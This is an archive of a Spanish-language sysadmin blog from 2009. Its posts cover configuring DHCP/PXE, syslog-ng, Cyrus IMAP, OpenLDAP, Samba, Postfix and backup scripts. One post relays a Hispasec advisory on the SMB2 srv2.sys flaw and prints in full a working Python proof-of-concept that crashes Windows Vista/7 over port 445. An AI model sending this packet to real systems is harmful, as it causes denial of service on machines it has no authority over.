lunes, 14 de diciembre de 2009

Zenworks - Soporte PXE para DHCP y ProxyDHCP

En vim /etc/dhcpd.conf añadir la líniea marcada en negrita y reiniciar el servicio

option domain-name "digitalairlines.com";
option domain-name-servers 172.17.6.23;
option routers 172.17.6.23;
option vendor-class-identifier "PXEClient";
default-lease-time 691200;
ddns-update-style none;
subnet 172.17.0.0 netmask 255.255.0.0 {
range 172.17.6.100 172.17.6.150;
default-lease-time 691200;
max-lease-time 691200;
}














Ya tenemos el DHCP, ahora en el fichero /etc/opt/novell/novell-preoxydhcp.conf localizamos el parámetro LocalDHCPFlag = 0 y lo cambiamos a 1 (En el caso hipotético que el server DHCP y el PXE esté en la misma máquina)

chkconfig novell-proxydhcp on

jueves, 10 de diciembre de 2009

Backup Novell Zenworks

zman admin-store-credential administrator
Para que no nos pida las credenciales del administrador para cada acción que vamos hacer

1) Certificado: zman cae /tmp/backup-cert
Este paso no es necesario hacerlo cada vez que se quiera hacer el backup. Lo mejor es tenerlo guardado en un lugar seguro.

2) Content Repo /var/opt/novell/zenworks/content-repo
Es un directorio cifrado por lo tanto depende directamente del certificado.

3) Base de datos:
zman database-backup /tmp/backup-zenworks-db
En este caso si es una base de datos sysbase local.

martes, 1 de diciembre de 2009

The ntpdate program is deprecated

The ntpdate program is deprecated and should not be used any more. To
quote the upstream ntp developers:

"The functionality ntpdate offered is now provided by the ntpd daemon
itself. If you call ntpd with the command line option -q it will
retrieve the current time and set it accordingly."

Please check the Network Time Protocol (NTP) daemon man page and
http://support.ntp.org/bin/view/Dev/DeprecatingNtpdate
for further information.

You can replace the ntpdate call with "rcntp ntptimeset" to achieve an
inital poll of the servers specified in /etc/ntp.conf.

The program /usr/sbin/sntp offers comparable functionality to ntpdate.
Specifically
sntp -P no -r pool.ntp.org
is equivalent to
ntpdate pool.ntp.org

For further details please refer to the man page of sntp.


sntp -P no -r ntp.dominio.com

viernes, 27 de noviembre de 2009

Interpretar fechas de Squid

Así podemos entender las fechas de squid
perl -pe 's/\d+/localtime($&)/e' access.log



martes, 24 de noviembre de 2009

Template de red SNMP cacti

Despues de ver una grafica cacti del ISP y ver como me mostraba el trafico, dige... tengo que hacer uno como este, para ver rapidamente las subidas, bajadas picos... y este es el resultado.






Template monitor de red: descargar

lunes, 23 de noviembre de 2009

Syslog-ng central

Server

source src {
#
# include internal syslog-ng messages
# note: the internal() soure is required!
#
internal();

#
# the default log socket for local logging:
#
unix-dgram("/dev/log");

#
# uncomment to process log messages from network:
#
udp(ip("192.168.20.192") port(514));
tcp(ip("192.168.20.192") port(5140) keep-alive(yes));
};


Cliente Linux

# Enviem els logs al syslog central
destination centraloghost {
tcp("192.168.20.192" port(5140));
};
log {
source(src);
destination(centraloghost);
};

Novell Apparmor -- mysql.pipe error='Permission denied

Si se instala una fifo o pipe en OpenSuse, Sles,... si no se deshabilita, Novell Apparmor aparecera este magnifico error:

syslog-ng[28016]: Error opening file for writing; filename='/tmp/syslog/mysql.pipe', error='Permission denied (13)'

Para ello desactivar boot.apparmor o crear una regla de aceptacion de fifos.

miércoles, 28 de octubre de 2009

Como instalar rsyslog en opensuse 11

zypper install rsyslog

/etc/init.d/syslog stop
Editar el fichero /etc/sysconfig/syslog y cambiar las siguientes opciones
SYSLOG_DAEMON="rsyslog" 

Reiniciar el syslog daemon:

/etc/init.d/syslog start

martes, 27 de octubre de 2009

Configurar GeoIP database para Mailwatch

1. Nos conectamos al servidor mysql
mysql -p
2. seleccionamos la BD
use mailscanner;
3. Le enchufamos el siguiente codigo SQL
LOAD DATA INFILE '/srv/www/htdocs/mailscanner/temp/GeoIPCountryWhois.csv' INTO
TABLE geoip_country FIELDS TERMINATED BY ',' ENCLOSED BY '"';

"/srv/www/htdocs/mailscanner/temp/GeoIPCountryWhois.csv" aqui es donde lo descarga por defecto.


http://osdir.com/ml/mail.virus.mailscanner.mailwatch.general/2005-10/msg00165.html

viernes, 23 de octubre de 2009

Groupwise: Crear encaminamientos directos

El problema que me surgió es que por un motivo extraño en el relay de correo ami smarthost, un determinado dominio, no funcionaba. Curioso... seguiré investigando el tema... Entonces pensé que quiza se pudiera hacer que determinados dominios los encaminara directamente el groupwise y el resto el smart host usando el GWIA. Para ello hay que hacer:

1 cd /gwsystem/domexta/wpgate/gwiaexta/

2 vi route.cfg
dominio nombre.dominio.ext
dominio [IPADD]
3 rcgrpwise stop gwiaexta.domexta
4 rcgrpwise start gwiaexta.domexta

viernes, 25 de septiembre de 2009

Assault Cube

Desde que descubrí este juego para GNU/linux Mac o Windows, relamente me impresionó que no haya ninguna empresa de videojuegos detrás. Es un juego opensource que realmente no está lejos de clasicos como Counter Strike.

Le falta mejores graficos y una jugabilidad un poco más precisa, pero en general es un buen juego para pasar el rato pegando tiros.


Lo que más destaco és que es multiplataforma y en todas ellas, funciona perfectamente.
http://assault.cubers.net/



jueves, 24 de septiembre de 2009

mRemote -herramientas para admins

Una herramienta de acceso remoto muy útil ya que soporta protocolos SSH, VNC, RDP, Telnet... Un todo en uno muy personalizable. Utiliza pestañas para cada sesión. Permite guardar listas de servidores al estilo Putty Connection Manager para que no tengas que acordarte de las Ips de todos tus servidores.

Por desgracia, solo está disponible para windows. Espero que la
ncen una versión para GNU/Linux y MacOSX





Por supuesto, es opensource...





http://www.mremote.org/wiki/

jueves, 17 de septiembre de 2009

Aumenta tu señal wifi

El otro día leiendo mi @rroba, vi un articulo muy curioso y que puede ser útil (hay que probarlo).
http://www.freeantennas.com/projects/template2/

Consiste en una plantilla que permite augmentar la señal del AP. Dejo aqui un bonito video de como hacerlo.



Y ya puestos a recortar, crea tus figuras favoritas en forma cubo. Hay para todos los gustos, consolas retro, Tux recortables, Benders...

http://www.cubeecraft.com

miércoles, 16 de septiembre de 2009

Alfresco - instalación en OpenSuse

Hoy me encontrado problemillas a la hora de instalar las dependencias de esta aplicación. Resulta útil saber donde OpenSuse ubica el Java JDK para la instalación. Si se instala la version de sun jdk-6u16-linux-i586-rpm.bin se instala en el directorio: /usr/java/jdk1.6.0_16

Es curioso, en la instalación en Español dice que le digamos donde esta el JRE y en la version inglesa el JDK. En ambos casos se refiere al JDK.

La guia de instalación Oficial:
http://wiki.alfresco.com/w/images/e/e4/ECM_InstallConfigure_CommunityEdition32.pdf

La guia facil en Español para (Win) --Explica como castellanizarlo
http://www.adictosaltrabajo.com/tutoriales/tutoriales.php?pagina=alfresco#03

Autentificación OpenLDAP con Fortigate firewall

Una de las cosas que más me gustan es centralizar usuarios, me da muuucha pereza tener bds de usuarios por todas partes, además que empresa tiene trabajadores que no ovidan sus passwords??? asi es fácil para mi y fácil para los users. openLDAP es mi amigo y lo pongoo hasta en la sopa.

Para integrarlo con este dispositivo que hace de firewall, IDs, VPN... se hace como se indica en la imagen siguiente. De este modo, los usuarios que esten dentro del contenedor people, tendrán acceso por VPN con su usuario de red.


Dentro de VPN -> Remote -> LDAP

Name ldap.neuronal-caos.com
Server Name/IP
Server Port
Common Name Identifier
Distinguished Name
Bind Type

Con eso ya habria suficiente.


DropBox -Tus datos siempre contigo


Se definie en su website como:
Put your files into your Dropbox on one computer, and they'll be instantly available on any of your other computers that you've installed Dropbox on (Windows, Mac, and Linux too!) Because a copy of your files are stored on Dropbox's secure servers, you can also access them from any computer or mobile device using the Dropbox website.

Despues de probarlo realmente es muy útil y te regalan 2GB con lo que es suficiente para poder poner bastante tela. Me gusta sobretodo la forma que se integra con los diferentes escritorios, ya sea con Mac, Windows y Linux.


No olvides cifrarlo...
http://ferranserafini.blogspot.com/2011/08/dropbox-cifrado-multiplataforma.html

martes, 8 de septiembre de 2009

(BSOD) en Windows Vista y 7 a través de unidades compartidas

Segun Hispasec - una-al-día www.hispasec.com

El fallo (incomprensiblemente simple) está en el intérprete de las cabeceras SMB, concretamente en el driver srv2.sys. Como los controladores operan en el "ring0", la capa de abstracción del sistema operativo más cercana al hardware (en contraste con el "ring3", la capa de usuario que no interactúa directamente con él) un fallo en cualquier driver provoca que el sistema se bloquee por completo, al no poder manejar la excepción correctamente. Se trata del temido pantallazo azul o BSOD. Los Windows anteriores a Windows 2000 no realizaban esta separación de seguridad entre capas, por lo que todo operaba en el mismo espacio de memoria y los fallos en el espacio de usuario podían causar un bloqueo total del sistema. De ahí que los pantallazos azules fuesen mucho más comunes en Windows 9x y Me.

http://g-laurent.blogspot.com/
=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================


Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()


viernes, 31 de julio de 2009

Diversificacion de mercado

Esta entrada promete ser muy friki. Bombillas, extintores, detergentes, cafes... si esque hay que hacer negocio!

Es curioso entrar en un bazar chino y ver bombillas KDE.














Extintores Unix / firefox...




















Detergente Linux...


















O tomar un café Novell (NEC) Novell Enterprise Coffe.

miércoles, 1 de julio de 2009

Configurar discos LVM a manita (universal-mode ;) )

Definimos la particion como LinuxLVM (8E) con fdisk o cfdisk /dev/sdb

Creamos el Volumen físico
pvcreate /dev/sdb1
Physical volume "/dev/sdb1" successfully created

Añadimos y creamos el volumen group
vgcreate data /dev/sdb1

Verificamos con vgdisplay
o vgs
Creamos el volumen lógico en el vg /dev/data que hemos creado
lvcreate -L 19,90G -n /dev/data/var /dev/data

Formateamos con el sistema de ficheros que queramos
mkfs.resiserfs /dev/data/var

En fstab añadimos el punto de montaje
/dev/data/var /var reiserfs defaults 0 0

Y montamos el disco LVM
mount  /var

martes, 30 de junio de 2009

Tomcat SSL

keytool -genkey -alias tomcat -keyalg RSA

copiamos el keystore en por ejemplo /usr/share/tomcat6

Redirigimos el trafico del 8080 al conector ssl 8443 en el primer bloque y definimos el conector sslen el siguiente, todo esto en el fichero server.xml


No se ve bien por culpa de los "<"



Reiniciamos el server tomcat.

Bayes en Mysql + Mailscanner

Dependencias: perl-DBI and perl-DBD-MySQL

Datos:
SpamAssassin Bayes Database Name: sa_bayes
SpamAssassin
Bayes Database UserName: sa_user
SpamAssassin
Bayes Database Password: sa_password
Your database server’s real name: local_fqdn


Crear tabla bayes y usuario bayes desde phpmyadmin o consola
# mysql -u root -p #(some distros like redhat and clones have no password set by default.)
mysql> create database sa_bayes;
mysql> GRANT ALL ON sa_bayes.* TO sa_user@localhost IDENTIFIED BY 'sa_password';
mysql> GRANT ALL ON sa_bayes.* TO sa_user@local_fqdn IDENTIFIED BY 'sa_password';
mysql> GRANT ALL ON sa_bayes.* TO sa_user@remote_fqdn IDENTIFIED BY 'sa_password';
mysql> flush privileges;

Localizar el fichero bayes_mysql.sql

En sistemas RED HAT /usr/share/doc/spamassassin-%version%/sql/bayes_mysql.sql
Para Otros: find / -name bayes_mysql.sql

# mysql -u sa_user -p sa_bayes < /path/to/bayes_mysql.sql

Backup
sa-learn -p /path/to/spam.assassin.prefs.conf --backup > sa_bayes_backup.txt

Limpieza
sa-learn -p /path/to/spam.assassin.prefs.conf --clear #(entirely optional, incase you want to rollback)

cambios en spam.sassassin.prefs.conf
bayes_store_module Mail::SpamAssassin::BayesStore::SQL
bayes_sql_dsn DBI:mysql:**sa_bayes**:**localhost**
bayes_sql_username **sa_user**
bayes_sql_password **sa_password**
bayes_sql_override_username root

comentar
bayes_path /etc/MailScanner/bayes/bayes
bayes_file_mode 0660

Pasar el backup al mysql
# sa-learn -p /path/to/spam.assassin.prefs.conf --restore sa_bayes_backup.txt

Comprobar
# spamassassin -x -D -p /path/to/spam.assassin.prefs.conf --lint

parar y arrancar mailscanner

añadir cron
minute hour * * * /path/to/sa-learn --force-expire --sync -p /path/to/spam.assassin.prefs.conf

jueves, 25 de junio de 2009

Optimizar OpenLDAP (Indexación)

Para agilizar las búsquedas, debes de crear índices para los atributos comúnmente buscados, En OpenLDAP, no solo puedes elegir que atributos indexar, si no que también puedes elegir que tipo de búsquedas indexar, por ejemplo, si indexas el campo "mail", tienes la opción de crear índices para búsquedas de "precense (press), equiality (eq), approximate, y/o substrings (sub)".

Nota:
"The index directive of slapd.conf (or olcDbIndex in cn=config configurations) is only effective on initial load of the directory (using ldapadd). If indexes are subsequently changed the directory needs to be re-indexed using slapindex (caution: must stop slapd first)."

index objectClass,uidNumber,gidNumber eq
index member,mail eq,pres
index cn,displayname,uid,sn,givenname sub,eq,pres
index SuSEMailClient,SUSEMailAcceptAddress,zoneName eq
index SuSEMailDomainMasquerading,relativeDomainName,suseMailDomainType eq
index suseTLSPerSitePeer,SuSEMailTransportDestination eq
index sambaSID eq
index sambaPrimaryGroupSID eq
index sambaDomainName eq

jueves, 18 de junio de 2009

IOERROR: opening ... cyrus.header

IOERROR: opening /var/spool/imap/user/ferran^serafini/TEST_FOLDER/cyrus.header: No such file or directory

su - cyrus -c "/usr/lib/cyrus/bin/reconstruct -r -f user/ferran.serafini"

viernes, 5 de junio de 2009

Script Backup Servicios OpenLDAP, BIND, CYRUS, Configs...

Buscando como se hace una copia de seguridad de cada servicio, hice el siguiente script que monta un arbol de directorios bajo el directorio /backups con cada uno de los servicios:

/backups/infbcn01-fecha -> DNS ETC IMAP LDAP

* DNS: se guardan las zonas master & slave y la config del servicio
* ETC: se guarda todo el directorio /etc
* IMAP: se guardan todos los buzones, bds de cyrus y config
* LDAP: Extrae un ldif con todo el contenido del árbol

No es un script óptimo en sentido de espacio ya que ni si comprime ni distingue incrementalidad o diferencialidad. Pero funciona.


#!/bin/bash
###BACKUP infbcn01 -infmaster

B_DIR=/backups
DEST=$B_DIR/infbcn01-`date +%d%m%Y`
OLD_BK=/backups2
ldiff=$DEST/LDAP/backupMasterLDAP.ldif
BIND_DIR=/var/lib/named
CONF_ETC=/etc
MASTER_BIND_DIR=$BIND_DIR/master
SLAVE_BIND_DIR=$BIND_DIR/slave
B_CYR_VAR_SPOOL=$DEST/IMAP/SPOOL/VAR
CYR_VAR_SPOOL=/var/spool/imap
CYR_SRV_SPOOL=/srv/imap/user
B_CYR_SRV_SPOOL=$DEST/IMAP/SPOOL/SRV
CYR_LIB=/var/lib/imap
B_CYR_LIB=$DEST/IMAP/LIB
MBOXLIST=mailboxdb`date +%d%m%Y`.dump

mv $B_DIR/* $OLD_BK/
rm -fr $B_DIR/*

#Arbre de directoris
mkdir $DEST > /dev/null 2>&1
mkdir -p $DEST/LDAP > /dev/null 2>&1
mkdir -p $DEST/DNS > /dev/null 2>&1
mkdir -p $DEST/DNS/master > /dev/null 2>&1
mkdir -p $DEST/DNS/slave > /dev/null 2>&1
mkdir -p $DEST/ETC > /dev/null 2>&1
mkdir -p $DEST/IMAP > /dev/null 2>&1
mkdir -p $DEST/IMAP/SPOOL/VAR > /dev/null 2>&1
mkdir -p $B_CYR_LIB
mkdir -p $B_CYR_SRV_SPOOL

#LDAP
slapcat > $ldiff

#DNS
cp -rvp $MASTER_BIND_DIR/* $DEST/DNS/master/
cp -rvp $SLAVE_BIND_DIR/* $DEST/DNS/slave/

#CONFIGS
tar -cjf $DEST/ETC/etc.tar.bz2 $CONF_ETC

#CYRUS
rsync -avz --delete $CYR_LIB root@localhost:$B_CYR_LIB

#CYRUS MAILBOXES
rsync -avz --delete $CYR_VAR_SPOOL root@localhost:$B_CYR_VAR_SPOOL
rsync -avz --delete $CYR_SRV_SPOOL root@localhost:$B_CYR_SRV_SPOOL
su cyrus -c "/usr/lib/cyrus/bin/ctl_mboxlist -d > $DEST/IMAP/$mboxlist"

Sincroniza dos BIND DNS servers

Es comun en una red tener dos servers DNS. Una buena opción es configurar bind para que use el soporte LDAP y que cada server utilice el árbol para exportarse las zonas en su /var/lib/named pero si por comodidad o por imposibilidad no se puede recurrir al LDAP, mediante este script, se sincronizaria un servidor con el otro siempre y cuando se cree una relación de confianza ssh (ssh-keygen -t dsa ...) de uno al otro. (sinó te va a pedir el passwd de root 4 veces).

Pues esta historia comienza así:

#/bin/bash
CONFIG="/etc/named.conf"

ZONES="/var/lib/named"
DNS2="172.26.0.91"
LOGFILE="/var/log/syncdns.log"
echo -en '\E[0;32m'"\033[1m * \033[0m"
echo " Sincronitzant servidors DNS (localhost -> $DNS2)..."
ssh root@$DNS2 -C "/etc/init.d/named stop" >> $LOGFILE
scp -r $CONFIG root@$DNS2:$CONFIG >> $LOGFILE
scp -r $ZONES/master/* root@$DNS2:/var/lib/named/master/ >> $LOGFILE
scp -r $ZONES/slave/* root@$DNS2:/var/lib/named/slave/ >> $LOGFILE
echo -en '\E[0;32m'"\033[1m * \033[0m"
echo " Recarregant DNS $DNS2 ..."
ssh root@$DNS2 -C "/etc/init.d/named start" >> $LOGFILE

Sincronizar correo CYRUS-IMAP por usuario (rsync)

En fases de migración de servidores de correo cyrus, es probable encontrase con que tenemos el nuevo servidor listo para ser utilizado pero que por motivos de seguridad, burocracia, etc... nos veamos obligados a tener el servidor de producción y el nuevo servidor practicamente parado. Es posible, que no nos interese, hacer un rsync de TODO el servidor de producción y que solo nos interese ir migrando buzones de algunos usuarios en concreto. Para eso hice este script.

se ejecuta:
./syncmailuser.sh nombre.apellido

Entonces mediante rsync copia del servidor en producción los ficheros del user en /var/lib/imap/user.. y luego tambien mediante rsync sincroniza el buzon tanto si esta en /srv/imap (suse) como si esta en /var/spool/imap.

Ahi va el script:

#!/bin/bash
USER=$1
IN_SRV=/mnt/server_act/srvspool/user
IN_VAR=/mnt/server_act/spool
IN_LIB=/mnt/server_act/lib/user
USERS=user.lst

USER2=`echo $USER sed -e 's,\.,\^,g'`
PATH1=$IN_VAR/user/$USER2
PATH2=$IN_SRV/$USER2
echo $PATH1
echo $PATH2


#Primera lletra per al dir
WORD=`echo $USER head -c 1`
echo "Sincronitzant $IN_LIB/$WORD/$USER2 /var/lib/imap/user/$WORD/"
rsync -avz --delete $IN_LIB/$WORD/$USER2* root@localhost:/var/lib/imap/user/$WORD/
su cyrus -c "/usr/lib/cyrus/bin/ctl_cyrusdb -r"
echo "Buscant ubicacio srv o var"
if [ -d $PATH1 ] ; then
echo "no esta en el srv"
rsync -avz --delete $IN_VAR/user/$USER2 root@localhost:/var/spool/imap/user/
fi
if [ -d $PATH2 ] ; then
echo "esta en srv"
rsync -avz --delete $IN_SRV/$USER2 root@localhost:/srv/imap/user/
fi

Sincronizar servidores de correo Cyrus-IMAP

Otro escenario puede ser el que hay el server cyrus en producción y tenemos uno nuevo que queremos que sea ENTERO sincronizado con el de producción. Para esto hice este script. Sincroniza todo el /var/lib/imap y las particiones imap /srv/imap y /var/spool/imap al nuevo server (donde se ejecuta el script). Le puse una regla EXCLUDE para el rsync donde se puede poner usuarios o carpetas que no se quiere sincronizar.

#!/bin/bash
IN_SRV=/mnt/server_act/srvspool/user
IN_VAR=/mnt/server_act/spool/
IN_LIB=/mnt/server_act/lib/
EXCLUDE=/root/exclude

rsync -avz --delete --exclude-from=$EXCLUDE $IN_LIB root@localhost:/var/lib/imap/
su cyrus -c "/usr/lib/cyrus/bin/ctl_cyrusdb -r"

rsync -avz --delete --exclude-from=$EXCLUDE $IN_VAR root@localhost:/var/spool/imap/
rsync -avz --delete --exclude-from=$EXCLUDE $IN_SRV root@localhost:/srv/imap/

miércoles, 27 de mayo de 2009

Fatal error: Class 'HttpRequest' not found in /var/www/index.php on line 2

he installation guideline is very insufficient. I've installed for Debian lenny/sid with the following step;

apt-get install php5-dev (to enable pecl command)
apt-get install libcurl3 (to get curl support)
apt-get install libmagic

and

pecl install pecl_http

pecl will download and compile but before that just follow the prompt. If the respective development library is not available in your system, the compilation will abort.

You should add "extension=http.so" to php.ini

viernes, 22 de mayo de 2009

Argument list too long

No es la primera vez que me encuentro con este error y por eso he decidido indagar un poco porqué sucede este error cuando hacemos operaciones (mv, rm...) con muchos ficheros.

La primera cosa que he encontrado que me parece coherente es que el problema no es del comando rm o de mv, sinó que es una limitación interna del kernel.

En la función execve() del kernel, que funciona igual que las funciones exec() (execl, execlp, execle, etc.) crean un buffer de 128K en memoria copiando la línia de comandos y el entorno para el nuevo proceso en ese espacio. La "lista de argumentos demasiado larga" es mensaje de error Kernel E2BIG. Hecho que execve () no es capaz de ajustar la lista de argumentos ofrecidos en el buffer de 128K.

Solución: El comando find
Para mover:
find $DIR1 -type f -name '*' -exec mv {} $DIR2/. \;

Para cambio de permisos
find $DIR -name "*" -print0 | xargs -0 chmod 750

viernes, 15 de mayo de 2009

VMWARE ESX: ALERT: LVM: 4476: v20:1.... may be snapshot: disabling access. See resignaturing section

En casos como la perdida de un datastore de un RAID tenemos la opción de poder recuperearlo des del VIC. El error es algo parecido a:

ALERT: LVM: 4476: vml.020003000060a980004335434b464a4b77554e59744c554e202020:1 may be snapshot: disabling access. See resignaturing section
  • - Ir a la pestaña de configuración del host ESX y seleccionar "Advanced settings"
  • - Dentro de LVM cambiar EnableResignature 0 (off) a 1 (on)
  • - Reescanear los discos
Ahora tendría que aparecer los datastores que habian en el disco con un nombre aleatorio. Solo hay que volver a poner las MV de nuevo y listos.


sábado, 25 de abril de 2009

Chkconfig en Debian/ubuntu..?? = update-rc.d

Para añadir el servicio en los runlevels que trae por defecto.
update-rc.d defaults

Para borrarlos

update-rc.d -f servicio remove

lunes, 20 de abril de 2009

DBERROR: opening /var/lib/imap/deliver.db

Me encontre en una migración de servidores Imap Cyrus, en el momento que queria mantener dos servidores sincronizados, que las db del cyrus, me daban errores y aunque aperente todo funcionaba bien, el syslog llegaba a llenarme el disco en un dia. Todo el rato decia:

Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: dbenv->open '/var/lib/imap/db' failed: Invalid argument
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: init() on berkeley
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: auxpropfunc error invalid parameter supplied
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR db4: DB_AUTO_COMMIT may not be specified in non-transactional environment
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: opening /var/lib/imap/deliver.db: Invalid argument
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: opening /var/lib/imap/deliver.db: cyrusdb error
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: FATAL: lmtpd: unable to init duplicate delivery database
Apr 17 13:21:29 infbcn01 master[31905]: service lmtpunix pid 19377 in READY state: terminated abnormally

Lo solucioné con lo siguiente al final del script de sincronización.


su cyrus -c "/usr/lib/cyrus/bin/ctl_cyrusdb -r"

Reconstruir Cyrus IMAP

Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: dbenv->open '/var/lib/imap/db' failed: Invalid argument
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: init() on berkeley
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: auxpropfunc error invalid parameter supplied
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR db4: DB_AUTO_COMMIT may not be specified in non-transactional environment
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: opening /var/lib/imap/deliver.db: Invalid argument
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: DBERROR: opening /var/lib/imap/deliver.db: cyrusdb error
Apr 17 13:21:29 infbcn01 lmtpunix[19377]: FATAL: lmtpd: unable to init duplicate delivery database
Apr 17 13:21:29 infbcn01 master[31905]: service lmtpunix pid 19377 in READY state: terminated abnormally

su cyrus -c "/usr/lib/cyrus/bin/ctl_cyrusdb -r"

martes, 14 de abril de 2009

jueves, 26 de marzo de 2009

BBDD: Dump y Restore PostgreSQL

Hay veces que es necesario hacer un volcado de toda la información de un servidor a otro, o simplemente hacer un copia de seguridad total. Para ello en Postgres igual que en MySQL hay los "dumps" y se exporta y se importa de la siguiente manera.

Dump

pgsqldump=backupPSQL`date +%d%m%Y`.dump
su postgres -c "pg_dumpall > $pgsqldump"


Restore
psql -f infile postgres

lunes, 23 de marzo de 2009

Postfix como cliente SMTP SASL

Hay veces que por necesidad hay que autentificar un servidor de correo contra otro servidor. En ese caso, posftix se puede configurar para validarse contra otra servidor y utilizar ese como smarthost.

creamos el fichero: /etc/postfix/password
Y ponemos la información del usuario que va hacer el relay
smtp.isp.com username:password

Asignamos los permisos correctos para mayor seguridad

chown root:root /etc/postfix/password
chmod 0600 /etc/postfix/password
postmap hash:/etc/postfix/password

En el main.cf ponemos
relayhost = smtp.isp.com
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/password
smtp_sasl_security_options =

sábado, 21 de marzo de 2009

VSFTPD + SSL TLS

Primero cramos el certificado:

[root@vps] openssl req -x509 -nodes -days 365 -newkey rsa:1024 \
-keyout /etc/vsftpd/vsftpd.pem \
-out /etc/vsftpd/vsftpd.pem

Añadimos las siguientes linias al fichero /etc/vsftpd.conf


ssl_enable=YES
allow_anon_ssl=NO
force_local_data_ssl=NO
force_local_logins_ssl=NO
ssl_tlsv1=YES
ssl_sslv2=NO
ssl_sslv3=NO
rsa_cert_file=/etc/vsftpd/vsftpd.pem

lunes, 16 de marzo de 2009

QMAIL - RBLS Añade seguridad Antispam

root@$ cat /etc/xinetd.d/smtp_psa

service smtp
{
socket_type = stream
protocol = tcp
wait = no
disable = no
user = root
instances = UNLIMITED
server = /var/qmail/bin/tcp-env
server_args = -Rt0 /usr/sbin/rblsmtpd -r sbl-xbl.spamhaus.org -r bl.spamcop.net /var/qmail/bin/relaylock /var/qmail/bin/qmail-smtpd /var/qmail/bin/smtp_auth /var/qmail/bin/true /var/qmail/bin/cmd5checkpw /var/qmail/bin/true
}

martes, 10 de marzo de 2009

HOWTO: ESXi and SSH

By default this isn’t possible. But there’s a way to get this working, just do the following:
  1. Go to the ESXi console and press alt+F1
  2. Type: unsupported
  3. Enter the root password
  4. At the prompt type “vi /etc/inetd.conf”
  5. Look for the line that starts with “#ssh” (you can search with pressing “/”)
  6. Remove the “#” (press the “x” if the cursor is on the character)
  7. Save “/etc/inetd.conf” by typing “:wq!”
  8. Restart the management service “/sbin/services.sh restart”

jueves, 5 de marzo de 2009

SAMBA Integrado con OpenLDAP

al final de la config en smb.conf
ldap admin dn = cn=Administrator,dc=dominio,dc=com
ldap delete dn = No
ldap group suffix = ou=group
ldap passwd sync = No
ldap replication sleep = 1000
#ldap ssl = Start_tls
ldap suffix = dc=dominio,dc=com
ldap timeout = 5
ldap user suffix = ou=people
passdb backend = ldapsam:ldap://ldap.dominio


fichero entero:

[global]
workgroup = dynamics
#Impresores
printing = cups
printcap name = cups
printcap cache time = 750
cups options = raw
load printers = yes
use client driver = yes
map to guest = Bad User
logon path = \\%L\profiles\.msprofile
logon home = \\%L\%U\.9xprofile
logon drive = P:
usershare allow guests = Yes
add machine script = /usr/sbin/useradd -c Machine -d /var/lib/nobody -s /bin/false %m$
domain logons = Yes
domain master = Yes
local master = Yes
os level = 65
preferred master = Yes

#FSM - Seguretat i LDAP
security = user
ldap admin dn = cn=Administrator,dc=dynamics-research,dc=com
ldap delete dn = No
ldap group suffix = ou=group
ldap passwd sync = No
ldap replication sleep = 1000
#ldap ssl = Start_tls
ldap suffix = dc=dynamics-research,dc=com
ldap timeout = 5
ldap user suffix = ou=people
passdb backend = ldapsam:ldap://ldap.dynamics-research.com
wins proxy = No
wins support = Yes
netbios name = dynamics

#FSM - PARAMETRES ADDICIONALS
server string = dynamics-PDC
log level = 2
max log size = 50

#Castellanitzacio
dos charset = 850
unix charset = iso-8859-15


[homes]

comment = Home Directories
valid users = %S, %D%w%S
browseable = No
read only = No
inherit acls = Yes
[profiles]
comment = Network Profiles Service
path = %H
read only = No
store dos attributes = Yes
create mask = 0600
directory mask = 0700
[users]
comment = All users
path = /home
read only = No
inherit acls = Yes
veto files = /aquota.user/groups/shares/
[grups]
comment = grups
inherit acls = Yes
path = /srv/samba/departaments
read only = No
[soft]
comment = software
inherit acls = Yes
path = /srv/samba/software
read only = No


Le pasamos el password del admin
smbpasswd -w 

Replicación OpenLdap Master -> Slave

Master:

index ...
replogfile /var/lib/ldap/openldap-master-replog
replica host=IP_SLAVE:389 binddn=cn=Administrator,dc=midominio,dc=com bindmethod=simple credentials=password

Tiene que estar arrancado el servicio slurpd

SLAVE:
database bdb
suffix ".."
rootdn ".."
rootpw ".."
updatedn "cn=Administrator,dc=midominio,dc=com"
updateref "ldap://172.26.0.90"

Debian - There is no public key available for the following key IDs

gpg --keyserver subkeys.pgp.net --recv-keys 4D270D06F42584E6
gpg --armor --export 4D270D06F42584E6 apt-key add -

lunes, 2 de marzo de 2009

